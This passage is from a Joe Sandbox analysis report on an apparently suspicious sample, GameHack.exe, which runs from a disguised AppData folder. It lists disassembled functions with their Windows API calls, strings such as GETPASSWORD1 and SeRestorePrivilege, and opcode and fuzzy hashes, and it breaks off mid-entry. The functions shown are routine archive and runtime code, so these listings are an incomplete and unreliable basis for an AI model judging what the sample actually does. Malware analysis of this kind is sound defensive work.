Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe
API String ID: 2506810119-1912035815
Opcode ID: 4d78e288285773aa9e3e68851efe4d10546161d35f89ff1f1dd64bd8a04e6e0c
Instruction ID: 3fad37b552df1a12ef3f2adbe8dd5bea6936aaf8fc5464bfc2fec2a3ecb3c6c2
Opcode Fuzzy Hash: 4d78e288285773aa9e3e68851efe4d10546161d35f89ff1f1dd64bd8a04e6e0c
Instruction Fuzzy Hash: 9531A071A1420CAFDB21EF99DD819BEBBFCEB84315F2450A7F648A7251D6704E40DBA0

Function 00ED7574 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00ED7579

Part of subcall function 00ED3B3D: __EH_prolog.LIBCMT ref: 00ED3B42

GetLastError.KERNEL32(?,?,00000800,?,?,?,00000000,00000000), ref: 00ED7640

Part of subcall function 00ED7BF5: GetCurrentProcess.KERNEL32(00000020,?), ref: 00ED7C04
Part of subcall function 00ED7BF5: GetLastError.KERNEL32 ref: 00ED7C4A
Part of subcall function 00ED7BF5: CloseHandle.KERNEL32(?), ref: 00ED7C59

Strings

SeSecurityPrivilege, xrefs: 00ED75BE
SeRestorePrivilege, xrefs: 00ED75D3

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: ErrorH_prologLast$CloseCurrentHandleProcess
String ID: SeRestorePrivilege$SeSecurityPrivilege
API String ID: 3813983858-639343689
Opcode ID: 66773ab7e5ec1d4fbd6ff28f7d6e12eb3756679d62972b8a84d52e9e2f3c326e
Instruction ID: 1f12186067fffa354bbedbd8dea9b4cd799af9edba91b57e714ec7e3c1cde176
Opcode Fuzzy Hash: 66773ab7e5ec1d4fbd6ff28f7d6e12eb3756679d62972b8a84d52e9e2f3c326e
Instruction Fuzzy Hash: F331B57190824CAEDF10EB65DC41BEEBBA9EF14354F005057F485B7392EBB08946D761

Function 00EEA430 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 00ED130B: GetDlgItem.USER32(00000000,00003021), ref: 00ED134F
Part of subcall function 00ED130B: SetWindowTextW.USER32(00000000,00F035B4), ref: 00ED1365

EndDialog.USER32(?,00000001), ref: 00EEA4B8
GetDlgItemTextW.USER32(?,00000066,?,?), ref: 00EEA4CD
SetDlgItemTextW.USER32(?,00000066,?), ref: 00EEA4E2

Strings

ASKNEXTVOL, xrefs: 00EEA448

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: ASKNEXTVOL
API String ID: 445417207-3402441367
Opcode ID: a8c4a8a9697f768811270c55ed33703e74e93077001e68f8013c7edd3c3383d3
Instruction ID: 6e80503aece68837b347fc63563e6195ae560a54a9d11f8a584bba0e13c6af22
Opcode Fuzzy Hash: a8c4a8a9697f768811270c55ed33703e74e93077001e68f8013c7edd3c3383d3
Instruction Fuzzy Hash: 2111E932244298BFD7219F99DC4DF6637AAEB46354F18102AF611BB1E0C7A1A901E723

Function 00EDD1C3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 00EDD22E
_strncpy.LIBCMT ref: 00EDD278

Strings

$%s, xrefs: 00EDD223
@%s, xrefs: 00EDD218

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: __fprintf_l_strncpy
String ID: $%s$@%s
API String ID: 1857242416-834177443
Opcode ID: 95262ac65671c038a05b8e5707a8cfea335cfa44d8663fec6f70d07b0d1963d0
Instruction ID: 8d56311dacd278be949b0ec1c631ba1cb13900eb10bca23b98d0a94877e77d4c
Opcode Fuzzy Hash: 95262ac65671c038a05b8e5707a8cfea335cfa44d8663fec6f70d07b0d1963d0
Instruction Fuzzy Hash: 91216F3254424CAADF21DEA4CC46FEE7BECEF15300F041513FA15A62A1D371DA569B51

Function 00EEA990 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 00ED130B: GetDlgItem.USER32(00000000,00003021), ref: 00ED134F
Part of subcall function 00ED130B: SetWindowTextW.USER32(00000000,00F035B4), ref: 00ED1365

EndDialog.USER32(?,00000001), ref: 00EEA9DE
GetDlgItemTextW.USER32(?,00000066,?,00000080), ref: 00EEA9F6
SetDlgItemTextW.USER32(?,00000067,?), ref: 00EEAA24

Strings

GETPASSWORD1, xrefs: 00EEA9A9

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: GETPASSWORD1
API String ID: 445417207-3292211884
Opcode ID: e566055b4191e76a70730869afe279315e2e87c0cad21606eba4d907e028946a
Instruction ID: 957d7e7b7cd3f74b83bc94922601475ef44666d60ca4544eb79eb5184bf0bb26
Opcode Fuzzy Hash: e566055b4191e76a70730869afe279315e2e87c0cad21606eba4d907e028946a
Instruction Fuzzy Hash: 2A116B3294025C7ADB219E65AD09FFB777DEB49310F040039FA49F3181C261AD55E672

Function 00EDB4F7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00EDB51E

Part of subcall function 00ED400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00ED401D

_wcschr.LIBVCRUNTIME ref: 00EDB53C
_wcschr.LIBVCRUNTIME ref: 00EDB54C

Strings

%c:\, xrefs: 00EDB514

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: _wcschr$__vswprintf_c_l_swprintf
String ID: %c:\
API String ID: 525462905-3142399695
Opcode ID: d2d045e0c7b2b5bb72ecd79da5b96c75214cc5bb022bd869e1ba81b616d57419
Instruction ID: b3ffd3cc496df1614a5c5ed32c5fcf9aaea17c85ee8c3cd6bc18dae8478c90d8
Opcode Fuzzy Hash: d2d045e0c7b2b5bb72ecd79da5b96c75214cc5bb022bd869e1ba81b616d57419
Instruction Fuzzy Hash: 6D014953904311FAC720ABB5AC42C7BB7EDEE953A07816417F945E6281FB30D851C2A1

Function 00EE06BA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(00000320,00000000,?,?,?,00EDABC5,00000008,?,00000000,?,00EDCB88,?,00000000), ref: 00EE06F3
CreateSemaphoreW.KERNEL32(00000000,00000000,00000040,00000000,?,?,?,00EDABC5,00000008,?,00000000,?,00EDCB88,?,00000000), ref: 00EE06FD
CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,?,?,00EDABC5,00000008,?,00000000,?,00EDCB88,?,00000000), ref: 00EE070D

Strings

Thread pool initialization failed., xrefs: 00EE0725

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: 27a0c6bb7d73e1880326fc04ef9a01199b069715c3ff0051dbe5769310d67de2
Instruction ID: 12ad1509fb253c2bdeb9313b87e1348672c1aaeb348ad034a428c06d7ab8b32a
Opcode Fuzzy Hash: 27a0c6bb7d73e1880326fc04ef9a01199b069715c3ff0051dbe5769310d67de2
Instruction Fuzzy Hash: 2011A0B1601709AFC3206F66C884AA7FBECFB94758F10482EF1DA92200D6B16A81DB50

Function 00EED38B Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

Strings

REPLACEFILEDLG, xrefs: 00EED3C9, 00EED3FD
RENAMEDLG, xrefs: 00EED3DE

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: 2b894222f52f126952b433d4fb4b27ce44303aa73c6bdb00e0069b22e1198812
Instruction ID: 83f904aac9adf0fe58275291ee3c1036a23e7003789d90cfed8facede8cc6f04
Opcode Fuzzy Hash: 2b894222f52f126952b433d4fb4b27ce44303aa73c6bdb00e0069b22e1198812
Instruction Fuzzy Hash: 8901D4B160828EAFCB119F16EE44EDA7FA9E7143D4B018421F905E3271CB719C51FBA1

Function 00EF91DE Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00EF9269
__alldvrm.LIBCMT ref: 00EF946A
__alldvrm.LIBCMT ref: 00EF948C

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 35fd0d8be5dca6c89d1c4a519db20ace465afc24967252a61766d950e54f80d3
Instruction ID: 6d920b8bb74e89132e7e8d0ebb90f6566e30ca02882ca554b41aa62955869a75
Opcode Fuzzy Hash: 35fd0d8be5dca6c89d1c4a519db20ace465afc24967252a61766d950e54f80d3
Instruction Fuzzy Hash: 0FA1577190038E9FEB25CF68C8917BEBBE5EF65314F1451ADE6D5AB382C2388942C750

Function 00EDA2AB Relevance: 6.1, APIs: 4, Instructions: 127filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,?,00000000,?,00ED80B7,?,?,?), ref: 00EDA351
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,00000800,?,00000000,?,00ED80B7,?,?), ref: 00EDA395
SetFileTime.KERNEL32(?,00000800,?,00000000,?,00000000,?,00ED80B7,?,?,?,?,?,?,?,?), ref: 00EDA416
CloseHandle.KERNEL32(?,?,00000000,?,00ED80B7,?,?,?,?,?,?,?,?,?,?,?), ref: 00EDA41D

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: 240ba4401f0ab2789ce52eb2647b12b42294a7f46cc7d72f5f2fc082736b7a97
Instruction ID: 0429b30067e52cab3d533f6a5e77bd001e36bad43da6efd46e8126ad6881e3ea
Opcode Fuzzy Hash: 240ba4401f0ab2789ce52eb2647b12b42294a7f46cc7d72f5f2fc082736b7a97
Instruction Fuzzy Hash: 1441D0312483859AD731DF24DC45BEEBBE9EB81704F08092EB5E0A3291D7A49B49DB53

Function 00EFC099 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,00EF89AD,?,00000000,?,00000001,?,?,00000001,00EF89AD,?), ref: 00EFC0E6
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00EFC16F
GetStringTypeW.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00EF67E2,?), ref: 00EFC181
__freea.LIBCMT ref: 00EFC18A

Part of subcall function 00EF8518: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00EFC13D,00000000,?,00EF67E2,?,00000008,?,00EF89AD,?,?,?), ref: 00EF854A

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 2abcc1213ae75236d162f40ba5a7c0c1d4e67a876e023609820b650964c8ddb2
Instruction ID: 0ec63818bd6fa139aa17dd491ddd077155cd2649a0b147277fee2d279662ecf1
Opcode Fuzzy Hash: 2abcc1213ae75236d162f40ba5a7c0c1d4e67a876e023609820b650964c8ddb2
Instruction Fuzzy Hash: 2531D072A0121EABDB248F65DD41DBE7BB9EB44314F244168FD04E7291EB35CD61CBA0

Function 00EE9DBB Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00EE9DBE
GetDeviceCaps.GDI32(00000000,00000058), ref: 00EE9DCD
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00EE9DDB
ReleaseDC.USER32(00000000,00000000), ref: 00EE9DE9

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: f134084670ec0f00d930bf388918a91ec9941d7cb8633d4c139a52e751aefd92
Instruction ID: c3b55e85d4c2c273e1563fa6ab5ebcec69a14c42c40f19a02c3e2ef5a5263e0c
Opcode Fuzzy Hash: f134084670ec0f00d930bf388918a91ec9941d7cb8633d4c139a52e751aefd92
Instruction Fuzzy Hash: 46E0C271989729A7D3A41BB0BD0CBCB3F56AB09773F050004F701A61D0DE704409EF90

Function 00EF2016 Relevance: 6.0, APIs: 4, Instructions: 14COMMON

Download Yara Rule

APIs

___vcrt_initialize_pure_virtual_call_handler.LIBVCRUNTIME ref: 00EF2016
___vcrt_initialize_winapi_thunks.LIBVCRUNTIME ref: 00EF201B
___vcrt_initialize_locks.LIBVCRUNTIME ref: 00EF2020

Part of subcall function 00EF310E: ___vcrt_InitializeCriticalSectionEx.LIBVCRUNTIME ref: 00EF311F

___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 00EF2035

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: CriticalInitializeSection___vcrt____vcrt_initialize_locks___vcrt_initialize_pure_virtual_call_handler___vcrt_initialize_winapi_thunks___vcrt_uninitialize_locks
String ID:
API String ID: 1761009282-0
Opcode ID: 50341c1e121bd6f5d5b78c5b3ee2afe6a0478775b34c66270a9efbcfed992c13
Instruction ID: 8d1a1faff69b6c3706851c6f95c5e38c5e9fa195f5392e526b8350884e064c9d
Opcode Fuzzy Hash: 50341c1e121bd6f5d5b78c5b3ee2afe6a0478775b34c66270a9efbcfed992c13
Instruction Fuzzy Hash: 94C04C2610764CE41C113AB161031BD07C00C637C8B9270CAEB9037143DF060A0AA037

Function 00EE9F5D Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 224COMMON

Download Yara Rule

APIs

Part of subcall function 00EE9DF1: GetDC.USER32(00000000), ref: 00EE9DF5
Part of subcall function 00EE9DF1: GetDeviceCaps.GDI32(00000000,0000000C), ref: 00EE9E00
Part of subcall function 00EE9DF1: ReleaseDC.USER32(00000000,00000000), ref: 00EE9E0B

GetObjectW.GDI32(?,00000018,?), ref: 00EE9F8D

Part of subcall function 00EEA1E5: GetDC.USER32(00000000), ref: 00EEA1EE
Part of subcall function 00EEA1E5: GetObjectW.GDI32(?,00000018,?), ref: 00EEA21D
Part of subcall function 00EEA1E5: ReleaseDC.USER32(00000000,?), ref: 00EEA2B5

Strings

(, xrefs: 00EEA0A3

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: ObjectRelease$CapsDevice
String ID: (
API String ID: 1061551593-3887548279
Opcode ID: 1fd0ead85515e3dd5335baea4e5cdae492aab73e251fdad245fa05c53a467c22
Instruction ID: 1d676c6ef27fea29a17c3e0e1fd9b60192988d65cbe1a4ac92020e77a16c39aa
Opcode Fuzzy Hash: 1fd0ead85515e3dd5335baea4e5cdae492aab73e251fdad245fa05c53a467c22
Instruction Fuzzy Hash: 85810371208358AFC714DF69C84492ABBE9FF88714F04492DF98AE7260DB71AD05DB52

Function 00EE0E37 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00EE0FF1

Strings

%ls, xrefs: 00EE0E76, 00EE0E8C
%s: %s, xrefs: 00EE1000

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: _swprintf
String ID: %ls$%s: %s
API String ID: 589789837-2259941744
Opcode ID: c321f4356fd67f76b2ee65de65f613345cdbe42b888a4f515c9609499f4bdae8
Instruction ID: efe969d6f2d9a5adc7e83c82a23fb7130066d8f83504203d6fc37aaa43afca8a
Opcode Fuzzy Hash: c321f4356fd67f76b2ee65de65f613345cdbe42b888a4f515c9609499f4bdae8
Instruction Fuzzy Hash: E751C83124C7CCF9EE211A96CD42FB676A6A704B00F247916F39A744F5C6F154D0B612

Function 00EFA918 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 168COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00EFAA84

Part of subcall function 00EF8849: IsProcessorFeaturePresent.KERNEL32(00000017,00EF8838,00000050,00F03958,?,00EDCFE0,00000004,00F10EE8,?,?,00EF8845,00000000,00000000,00000000,00000000,00000000), ref: 00EF884B
Part of subcall function 00EF8849: GetCurrentProcess.KERNEL32(C0000417,00F03958,00000050,00F10EE8), ref: 00EF886D
Part of subcall function 00EF8849: TerminateProcess.KERNEL32(00000000), ref: 00EF8874

Strings

*?, xrefs: 00EFA95B
., xrefs: 00EFAC3B

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: Process$CurrentFeaturePresentProcessorTerminate_free
String ID: *?$.
API String ID: 2667617558-3972193922
Opcode ID: 46d45437bf881060891f947650aec9d3ba4d76883fc361421d2bb44ca5e48db8
